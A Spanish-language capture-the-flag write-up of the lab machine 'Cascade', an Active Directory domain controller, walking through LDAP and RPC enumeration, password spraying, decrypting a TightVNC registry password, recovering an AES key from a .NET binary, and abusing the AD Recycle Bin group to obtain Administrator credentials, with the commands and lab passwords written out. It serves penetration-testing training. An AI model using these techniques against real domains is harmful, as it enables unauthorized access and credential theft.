# Cascade

`Cascade` es una máquina Windows de dificultad media configurada como un controlador de dominio. Los enlaces anónimos de LDAP están habilitados y la enumeración genera la contraseña del usuario `r.thompson`, que brinda acceso a una copia de seguridad del registro `TightVNC`. La copia de seguridad se descifra para obtener la contraseña de `s.smith`. Este usuario tiene acceso a un ejecutable .NET, que después de la descompilación y el análisis del código fuente revela la contraseña de la cuenta `ArkSvc`.

Esta cuenta pertenece al grupo `AD Recycle Bin` y puede ver los objetos de Active Directory eliminados. Se descubre que una de las cuentas de usuario eliminadas contiene una contraseña codificada, que se puede reutilizar para iniciar sesión como administrador principal del dominio.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FiuA6VOWcYD3LyR1oYAxj%2FCascade.png?alt=media&#x26;token=3ac5bc29-496d-4ffe-b293-a495de57fbf7" alt=""><figcaption></figcaption></figure>

## Reconnaissance

Realizaremos un reconocimiento con **nmap** para ver los puertos que están expuestos en la máquina Cascade.

```bash
nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.182 -oG allPorts
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FxgxRSKZwZJ9DSHnIiQOW%2F1232_vmware_MYawCPPeos.png?alt=media&#x26;token=6eb28e10-53fd-42ee-b6b9-74b18bbce0e1" alt="" width="440"><figcaption></figcaption></figure>

Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.

{% code overflow="wrap" %}
```bash
nmap -sCV -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165 10.10.10.182 -A -oN targeted
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FqBZMhWVjkGSsmsnF9ib3%2F1234_vmware_g3u3JHhKnT.png?alt=media&#x26;token=bb9813a7-5e5e-4d88-8d18-e287ca7de049" alt="" width="563"><figcaption></figcaption></figure>

Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.

Verificaremos también a qué tipo de máquina nos enfrentamos a través de **netexec**.

```bash
ldapsearch -x -H ldap://10.10.10.182 -s base | grep defaultNamingContext

netexec smb 10.10.10.182
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FEWBYhqVlQOrw5JjHx7IM%2F1236_vmware_b1Y8vDLBeR.png?alt=media&#x26;token=3ad8e6e6-d098-4988-88ae-c784c3d125fb" alt=""><figcaption></figcaption></figure>

Procederemos a añadir la entrada en nuestro archivo **/etc/hosts**

```bash
catnp /etc/hosts | grep cascade.local
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FBaLIt0aQGuj7fymSuEm2%2F1235_vmware_gTD2lFhuAs.png?alt=media&#x26;token=de1e16d2-6787-42c5-b760-d136fd318948" alt=""><figcaption></figcaption></figure>

## Users Enumeration

### Enumerating users with NSrpcenum and enum4linux

Probaremos a través de la herramienta **NSrpcenum** de ver si nos podemos conectar al RPC mediante una null sesión y enumerar usuarios, comprobamos que si podemos efectuar el ataque y sacamos todo el listado de los usuarios que se encuentran en el dominio.

```bash
NSrpcenum -e DUsers -i 10.10.10.182
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F9V0BIv65rfJIWNCQn1iW%2F1237_vmware_CqQpGh0bRa.png?alt=media&#x26;token=cc2bc09a-81ce-4122-bced-bc45e9ebb6d7" alt="" width="289"><figcaption></figcaption></figure>

Otra de las herramientas que podemos probar es la de **enum4linux** que nos mostrará mucha más información a parte de la de los usuarios del equipo.

```bash
enum4linux -a -u "" -p "" 10.10.10.182
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F7mmTdYMaABLXNNjEI1O8%2F1238_vmware_k8LOHZNWvM.png?alt=media&#x26;token=c0b75937-59a1-4845-ad3d-4670c1b8e073" alt="" width="527"><figcaption></figcaption></figure>

### Enumerating valid domain users with Kerbrute

Procederemos a realizar una enumeración de qué usuarios de esos son válidos en el dominio, es decir, que su cuenta sea de AD.

```bash
catnp users.txt

kerbrute userenum --dc 10.10.10.182 -d cascade.local users.txt
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FScS3D9EMCefsFkoB53gA%2F1239_vmware_6JzfSLAWdX.png?alt=media&#x26;token=5d4ac956-12a3-4a23-99a0-4455c68cf0fe" alt="" width="518"><figcaption></figcaption></figure>

### AS-REP Roasting Attack (GetNPUsers) - \[FAILED]

Debido que disponemos de una gran lista de usuarios válidos, procederemos a intentar efectuar un **AS-REP Roasting Attack** para intentar obtener un Ticket Granting Ticket (TGT), pero no obtenemos resultado.

{% code overflow="wrap" %}
```bash
impacket-GetNPUsers -no-pass -usersfile users.txt cascade.local/ 2>/dev/null

impacket-GetNPUsers -no-pass -usersfile valid_domain_users.txt cascade.local/ 2>/dev/null
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fok390eebnj8sbOMbcWZo%2F1241_vmware_cSisp9Xrpz.png?alt=media&#x26;token=badb99f9-d20c-4ff4-80f8-47355267e35d" alt="" width="563"><figcaption></figcaption></figure>

### LDAP Enumeration (windapsearch.py && ldapsearch)

Procederemos a enumerar el protocolo LDAP y estaremos utilizando la herramienta de **windapsearch.py** la cual estaremos buscando por contenido que contenga "pwd" o "password".

Nos damos cuenta que aparece un campo llamado "cascadeLegacyPwd" con lo que parece ser una contraseña encodeada en Base64.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FYvZdeUPYVpYpKOmjp6gR%2F1242_vmware_dD20XX7u32.png?alt=media&#x26;token=958a0c8c-595a-430a-91f6-ec82b58f9e58" alt=""><figcaption></figcaption></figure>

Podemos realizar la misma enumeración a través de la herramienta de **ldapsearch**.

{% code overflow="wrap" %}
```bash
ldapsearch -x -H ldap://10.10.10.182 -b "DC=cascade,DC=local" | grep -ie "pwd\|password"
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F6MBkEv2Yhdh7uRNRN4XP%2Fimage.png?alt=media&#x26;token=5fd4a743-d65e-4177-b96e-873ac1d05f11" alt=""><figcaption></figcaption></figure>

Probaremos a descodificar el texto encontrado en Base64 y parece que obtenemos lo que parece ser una contraseña.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F5YKOItiKIXveb0qTBCub%2F1266_vmware_4A2wj0ZIxP.png?alt=media&#x26;token=2687a3fc-133f-4249-aea0-5ee7a1e73f8a" alt=""><figcaption></figcaption></figure>

Probaremos de enumerar a todos los usuarios que disponemos para ver si uno de ellos se puede llegar a autenticar. Verificamos que el usuario "r.thompson" se puede autenticar con dichas credenciales.

{% code overflow="wrap" %}
```bash
netexec smb 10.10.10.182 -u valid_domain_users.txt -p 'rY4n5eva' --continue-on-success

netexec smb 10.10.10.182 -u users.txt -p 'rY4n5eva' --continue-on-success
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FvVTlxFVXbVh7eKNqayfp%2F1243_vmware_kByitPvN8T.png?alt=media&#x26;token=34532b23-2608-4efe-a738-02f13edea9c7" alt=""><figcaption></figcaption></figure>

Procederemos a intentar comprobar si con este usuario podemos acceder al WinRM, pero no nos lo acepta seguramente por falta de permisos, pero sus credenciales son correctas.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FzlfKYVOpFoNNDAwhk78L%2F1244_vmware_tr9wAfe0lO.png?alt=media&#x26;token=cef621d7-7e5c-43a3-83ed-9c3eae4c6b25" alt=""><figcaption></figcaption></figure>

### Kerberoasting Attack (GetUserSPNs) - \[FAILED]

Debido que disponemos de unas credenciales válidas de un usuario, procederemos a intentar realizar un **Kerberoasting Attack** para solicitar un Ticket Granting Service (TGS), sin resultado esperado tampoco.

```bash
impacket-GetUserSPNs -dc-ip 10.10.10.182 cascade.local/r.thompson -request
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F5DkjOXrhC35kyrc0HSay%2Fimage.png?alt=media&#x26;token=d81c2883-dde6-40b8-a012-98406fe4bcee" alt=""><figcaption></figcaption></figure>

## SMB Enumeration

Procederemos a realizar la enumeración de SMB, para ver los recursos compartidos que tiene acceso el usuario "r.thompson".

```bash
netexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --shares
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Frhes78eSVN10teFmkIkR%2F1246_vmware_lZgklPk2AU.png?alt=media&#x26;token=2cd55c25-b34f-4863-9b88-4625fbfd5e65" alt=""><figcaption></figcaption></figure>

Procedferemos a revisar por encima, cual es el contenido de la carpeta "Data" para ver si dispone de directorios, archivos, para así descartarlo de enumerarlo en caso que no disponga de nada.

```bash
smbmap -H 10.10.10.182 --no-banner -u 'r.thompson' -p 'rY4n5eva' -r DATA/
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F6JVqcuSLsr8cqOB6jlM5%2Fimage.png?alt=media&#x26;token=d109c961-206b-487b-b2bc-8c00dee00393" alt="" width="563"><figcaption></figcaption></figure>

Procederemos a conectarnos mediante **smbclient** al recurso compartido "DATA" y nos descargaremos todo el contenido del recurso compartido en nuestro equipo local.

```bash
smbclient //10.10.10.182/DATA -U 'r.thompson%rY4n5eva'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FuRXIGVT8d6XJ7QbKvxzg%2F1247_vmware_NOu6pCr0re.png?alt=media&#x26;token=db9bd5ea-6cd7-47eb-8a6b-294d36c532dc" alt=""><figcaption></figcaption></figure>

El primer archivo que vemos, es una página web que indica que se creó un usuario llamado "TempAdmin" que su contraseña es la misma que la del usuario Administrador, pero este usuario se creó en un momento puntual y fue eliminado a finales de 2018.

Nos quedaremos con esta información por si pudieramos recuperar al usuario "TempAdmin" y lograr ver su contraseña más adelante.

```bash
cat "./IT/Email Archives/Meeting_Notes_June_2018.html"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FRRFefghphdWEXq78BLnS%2F1261_vmware_tIfWkIEI7f.png?alt=media&#x26;token=17714daa-7544-4b24-9b44-c63d0373e5dc" alt=""><figcaption></figcaption></figure>

Por otro lado, disponemos de un log en el cual se menciona al usuario "ArkSvc" y parece ser que se estan realizando tareas de eliminar/mover a usuarios del AD. Relativamente no encontramos algún tipo de información.

```bash
cat "./IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F206wZmN9zqwct7GKqNCS%2F1269_vmware_Owv8Cw9UqB.png?alt=media&#x26;token=f4bc7fa5-fbe6-45bc-9fc7-dd0ff9c50000" alt=""><figcaption></figcaption></figure>

Revisando el archivo "VNC Install.reg" comporbamos que dispone de un valor llamado "Password" con una contraseña encodeada parace ser en **hex**.

```bash
cat "./IT/Temp/s.smith/VNC Install.reg"
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FX0pqcwjc0b75kkD9IOWX%2F1248_vmware_aR7Ov2p6Up.png?alt=media&#x26;token=58727de4-4b4a-47be-870b-f69877363159" alt="" width="413"><figcaption></figcaption></figure>

## Cracking TightVNC Password

Probaremos de descodear el contenido en hex de manera habitual, pero nos encontramos que el contenido no está en texto plano, esto hace pensar que alomejor pueda estar encriptado y por dicho motivo no lo vemos en texto plano.

```bash
echo '6b cf 2a 4b 6e 5a ca 0f' | xxd -r -p; echo
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FkOPwKiFIqM73YwlLuuDt%2Fimage.png?alt=media&#x26;token=e0a28310-82ad-43fe-89e3-1f6d22d71d3f" alt=""><figcaption></figcaption></figure>

Como se trata de un VNC password ecnriptado, buscando en Internet logramos descubrir la siguiente página web -[ PasswordsDecrypts VNC](https://github.com/frizb/PasswordDecrypts) en la cual nos explicaba como desencriptar el hex de VNC.

Comprobamos finalmente  lo que parece ser la contraseña en texto plano.

{% code overflow="wrap" %}
```bash
echo '6b cf 2a 4b 6e 5a ca 0f' | xxd -r -p |  openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F1TPl90oGxnYkXsT4tDrT%2Fimage.png?alt=media&#x26;token=bbd8d570-9084-46f5-b57f-b5bb13304d89" alt=""><figcaption></figcaption></figure>

## Initial Access

### Abusing WinRM- EvilWinRM

Procederemos a revisar si algún usuario de los que disponemos se puede autenticar con estas credenciales, comprobamos que el usuario "s.smith" puede autenticarse.

```bash
netexec smb 10.10.10.182 -u users.txt -p 'sT333ve2' --continue-on-success
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FTSnD76iAWFofMuW8r5db%2F1249_vmware_o9j1TMxtLW.png?alt=media&#x26;token=60ed4037-14e2-4902-b465-835789506f4d" alt=""><figcaption></figcaption></figure>

Guardaremos las nuevas credenciales obtenidas en nuestro archivo "credentials.txt"

```bash
catnp credentials.txt
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FN3Ve2UzABYosUaWhADku%2F1250_vmware_gBugsOapu3.png?alt=media&#x26;token=a9e902a9-3897-4d87-b582-3a748ee56f84" alt=""><figcaption></figcaption></figure>

Validaremos con **netexec** de que podemos conectarnos al WinRM, comprobamos que sí, debido que la herramienta nos reporta (**pwn3d**) y obtenemos la flag de **user.txt**.

```bash
netexec winrm 10.10.10.182 -u s.smith -p 'sT333ve2'

evil-winrm -i 10.10.10.182 -u s.smith -p 'sT333ve2'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FO5uvyhY1A8nxW9OjTTwv%2F1251_vmware_qY82U5LHhM.png?alt=media&#x26;token=cbec39b5-2f60-4906-ae33-149ba7db5d16" alt=""><figcaption></figcaption></figure>

### Enumerating SQLite3 Database File

Comprobaremos con el nuevo usario obtenido a qué recursos compartidos tiene acceso. Comprobamos que dispone de acceso al recurso "Audit$", por lo tanto con **sqlmap** listaremos el directorio para ver que no esté vacío.

```bash
netexec smb 10.10.10.182 -u 's.smith' -p 'sT333ve2' --shares

smbmap -H 10.10.10.182 --no-banner -u 's.smith' -p 'sT333ve2' -r Audit$/
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FFqpyFkSERt8vwLTFiIAT%2F1252_vmware_W9e8gtkoKb.png?alt=media&#x26;token=b01b35e0-29f1-4cf1-9f98-ea45ad2d8359" alt=""><figcaption></figcaption></figure>

Procederemos a conectarnos a través de **smbclient** y nos descargaremos todo el contenido del recurso.

```bash
smbclient //10.10.10.182/Audit$ -U 's.smith%sT333ve2'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Foyt0ulUtNy7CxUuIdzzD%2F1253_vmware_zESHlSjEjZ.png?alt=media&#x26;token=14345cfc-cbf0-4907-9a90-764ff2a271f4" alt=""><figcaption></figcaption></figure>

Uno de los archivos que nos llama la atención, es el de "Audit.db" que es un archivo de BBDD. Reviasndo con el comando **strings** nos damos cuenta que es sobre un SQLite y se han ejecutado insutrcciones, estas mismas hacen referencia auna tabnla llamada "LDAP".

```bash
strings Audit.db
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FeKe62qcxYMZRl736yhdW%2F1254_vmware_U8MZlFs1rO.png?alt=media&#x26;token=0fc723c3-a7e5-40ef-bf3e-f24cbb05223e" alt="" width="328"><figcaption></figcaption></figure>

Revisando el contenido de la tabla "LDAP", obtenemos lo que parece ser el usuario "ArkSvc" y su respectiva contraseña encodeada en Base64.

```sql
sqlite3 Audit.db

SELECT * FROM LDAP;
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FlCoYnsMZwH0Hfdou3XQ2%2F1255_vmware_DOfLyQ6xe5.png?alt=media&#x26;token=1c784f51-d161-4f0e-8297-907b097079c7" alt=""><figcaption></figcaption></figure>

Probaremos de descodearlo en Base64, pero obtenemos un resultado que no está en texto plano, lo que nos puede indicar que el contenido parece estar cifrado.

```bash
echo "BQO5l5Kj9MdErXx6Q6AGOw==" | base64 -d; echo
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FkPwmlXyflDMCTkasupRf%2F1256_vmware_ugyHSZ2J7q.png?alt=media&#x26;token=75008a73-7991-439e-b1eb-c4c4efbbb1cb" alt=""><figcaption></figcaption></figure>

### Analysis of Windows EXE binary (DNSpy)

Procederemos a enumerar  losnotros archivos, como el .exe .dll des de **DNSpy**. Nos fijamos que el binario del EXE hace uso de la librería Crypto que es una librería para la encriptación de texto, y vemos que aparece una clave en textoplano.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FtlHGp2MTCsqsM3T4nfha%2F1257_vmware_TMsJgMTaSL.png?alt=media&#x26;token=d6edf97b-2494-4e70-8dfe-a6dba85a1261" alt=""><figcaption></figcaption></figure>

En el código hemos encontrado AES-CBC, un modo de cifrado que utiliza una clave secreta para cifrar datos en bloques donde cada bloque depende del anterior, y emplea un IV (Vector de Inicialización) para añadir aleatoriedad al primer bloque, lo que evita patrones repetidos y asegura que cada mensaje cifrado sea único y más seguro incluso si se usa la misma clave en múltiples cifrados.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FD9B1jCtJeo5tIPTFlJ22%2F1258_vmware_na3bGE0Vk2.png?alt=media&#x26;token=cb6e67a8-5a3a-4d0d-8a45-1e1b1725e094" alt=""><figcaption></figcaption></figure>

### Reverse engineering the CBC cipher - Obtaining clear text passwords (CyberChef)

Procederemos a realizar ingeniería inversa al cifrado CBC, para ello deberemos de tener los siguientes 3 datos

* KEY
* IV
* Password

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FlWOeeqrzyYG4PSbywD0t%2F1259_Notepad_ZIwNXWOPeg.png?alt=media&#x26;token=bc4546a0-1073-404e-a153-45925350427c" alt=""><figcaption></figcaption></figure>

Ingresaremos a **CyberChef** y lo descodificaremos y ontendremos la contraseña en texto plano.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F91g50uXr7vwsfZIoi6PS%2F1260_firefox_jOHXxNuWGn.png?alt=media&#x26;token=871d8f3d-a514-4657-a32e-9d74c0650004" alt=""><figcaption></figcaption></figure>



## Privilege Escalation

Procederemos de conectarnos conel usuario "Arksvc" con las nuevas credencials al WinRM.

```bash
netexec winrm 10.10.10.182 -u arksvc -p 'w3lc0meFr31nd'

evil-winrm -i 10.10.10.182 -u arksvc -p 'w3lc0meFr31nd'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FeM2yjcLcHwfBAwwYwqR2%2Fimage.png?alt=media&#x26;token=62174eb4-4b08-45e7-a104-39e114128072" alt=""><figcaption></figcaption></figure>

Revisando los grupos a los que pertenece el usuario, nos fijamos que forma parte del grupo de "AD Recycle Bin", lo que nos permitirá encontrar objectos que han sido borrados.

```bash
whoami /all
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F84w8pcpc4TS673ETVABB%2F1264_vmware_65vrLDOcb2.png?alt=media&#x26;token=f71eb896-534f-48be-bd19-103bdc3b4651" alt=""><figcaption></figcaption></figure>

### Abusing AD Recycle Bin Group - Active Directory Object Recovery (Get-ADObject)

Debido que formamos parte de este grupo, nuestro objetivo será de recuperar información sobre el usuario "TempAdmin" que según descubrimos en el archivo .html cuando enumeramos el SMB; indicaba que este usuario disponía de las mismas credenciales que utiliza el usuario Administrator, por lo tanto, en caso de tener la contraseña de este usuario podríamos llegar a probar si aún son válidas para el usuario Administrator.

Procederemos a buscar objetos que sean usuarios que hayan sido borrados. Comprobamos que nos aparece el usaurio borrado "TempAdmin", procederemos a listar ls propiedades.

{% code overflow="wrap" %}
```powershell
Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects

Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FWLCLS6yNrX0OWFiAfiOU%2F1263_vmware_HoAmTVcoGI.png?alt=media&#x26;token=f023a9c6-349f-4930-9f42-8d29bd3d6c7e" alt=""><figcaption></figcaption></figure>

Comprobamos que en un campo aparece "cascadeLegacyPwd" con lo que parece ser una contraseña encodeada nuevamente en Base64.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FHy3OpjG0Dk6ZFY11CKI6%2F1262_vmware_B76Yo3kBZZ.png?alt=media&#x26;token=66b0a0e8-a7c5-42ff-8c45-269e52124a88" alt=""><figcaption></figcaption></figure>

Procederemos a desencodear y nos aparece una contraseña en texto plano, validaremos con **netexec** de que las credenciales son válidas para el usuaro Administrator, nos conectarmos haciendo uso de **evil-winrm** y comprobaremos la flag de **root.txt**.

{% code overflow="wrap" fullWidth="false" %}
```bash
echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d; echo

netexec winrm 10.10.10.182 -u Administrator -p 'baCT3r1aN00dles'

evil-winrm -i 10.10.10.182 -u Administrator -p 'baCT3r1aN00dles'
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FJm5rwlyvEwDeh04NxeIf%2Fimage.png?alt=media&#x26;token=98f8f894-a5f3-469c-9003-ac3d87d29605" alt=""><figcaption></figcaption></figure>
